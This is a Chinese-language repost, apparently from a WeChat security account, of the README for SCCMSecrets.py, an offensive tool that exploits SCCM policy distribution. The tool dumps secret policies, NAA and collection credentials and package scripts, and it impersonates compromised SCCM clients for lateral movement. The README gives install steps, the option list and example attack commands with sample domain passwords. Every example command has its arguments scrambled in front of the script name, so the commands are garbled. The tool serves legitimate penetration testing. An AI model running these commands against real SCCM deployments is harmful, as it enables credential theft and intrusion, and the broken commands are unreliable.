SCCMSecrets
SCCMSecrets.py 是一种 SCCM 策略利用工具。它超越了 NAA 凭据提取,旨在提供一种有关 SCCM 策略利用的全面方法。该工具可以从各种权限级别执行,并将尝试发现与策略分发相关的潜在错误配置。除了分发点上托管的包脚本外,它还将转储遇到的所有秘密策略的内容以及集合变量。最后,它可以在整个入侵过程中使用,方法是将其配置为模拟合法的 SCCM 客户端,以便跨设备集合进行切换。
有关该工具及其用法的更多详细信息,请参阅相关文章:https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
安装
您可以通过克隆存储库并安装依赖项来安装 SCCMSecrets.py。
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
用法
$ python3 SCCMSecrets.py --help
Usage: SCCMSecrets.py [OPTIONS]
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point TEXT The target distribution point [default: None] [required] │
│ --client-name TEXT The name of the client that will be created in SCCM. An FQDN is expected (e.g. fake.corp.com) [default: None] │
│ --management-point TEXT The client's management point. Only necessary if the management point is not on the same machine as the distribution point. [default: None] │
│ --bruteforce-range INTEGER The number of package ID to bruteforce when performing anonymous policies scripts dump. Between 0 (00000) and 1048575 (FFFFF) [default: 4095] │
│ --extensions TEXT Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --username TEXT The username for a domain account (can be a user account, or - preferably - a machine acount) [default: None] │
│ --password TEXT The password for a domain account (can be a user account, or - preferably - a machine account) [default: None] │
│ --registration-sleep INTEGER The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to device │
│ collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device TEXT This option can be used to re-run SCCMSecrets.py using a previously registered device; or to impersonate a legitimate SCCM client. In both cases, it expects the path │
│ of a folder containing at least a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). │
│ [default: None] │
│ --verbose Enable verbose output │
│ --help Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
示例
以下是一些示例命令。
运行 SCCMSecrets.py 而不提供凭据(尝试利用自动设备批准来检索秘密策略,尝试利用分发点匿名访问来转储外部资源)。
'mecm.sccm.lab/' --client-name test.sccm.lab python3 SCCMSecrets.py --distribution-point
使用域用户凭据运行 SCCMSecrets.py(尝试利用自动设备批准来检索机密策略,使用提供的凭据或匿名访问来转储外部资源)。指定较短的暴力破解范围和特定文件扩展名以将其列入白名单,以进行外部资源转储。
'mecm.sccm.lab/' --client-name test2.sccm.lab --bruteforce-range 64 --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf' --username 'franck' --password 'rockthee' --verbose python3 SCCMSecrets.py --distribution-point
使用域机器帐户凭据运行 SCCMSecrets.py(注册一个新的已批准的设备,允许转储机密策略,使用提供的凭据或匿名访问进行外部资源转储)。指定注册后等待的更长时间,以确保在请求策略之前将注册的设备成功添加到集合中。
'mecm.sccm.lab/' --client-name test3.sccm.lab --verbose --registration-sleep 300 --username 'azule$' --password 'Password123!' python3 SCCMSecrets.py --distribution-point
运行 SCCMSecrets.py 以模拟被入侵的合法 SCCM 客户端。该CLIENT_DEVICE文件夹包含一个 guid.txt 文件(被入侵客户端的 GUID)和一个 key.pem 文件(被入侵客户端的私钥)。
'mecm.sccm.lab/' --client-name test4.sccm.lab --verbose --use-existing-device CLIENT_DEVICE/ python3 SCCMSecrets.py --distribution-point
https://github.com/synacktiv/SCCMSecrets
原文始发于微信公众号(Ots安全):SCCMSecrets.py 旨在利用SCCM策略分发进行凭据收集、初始访问和横向移动。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论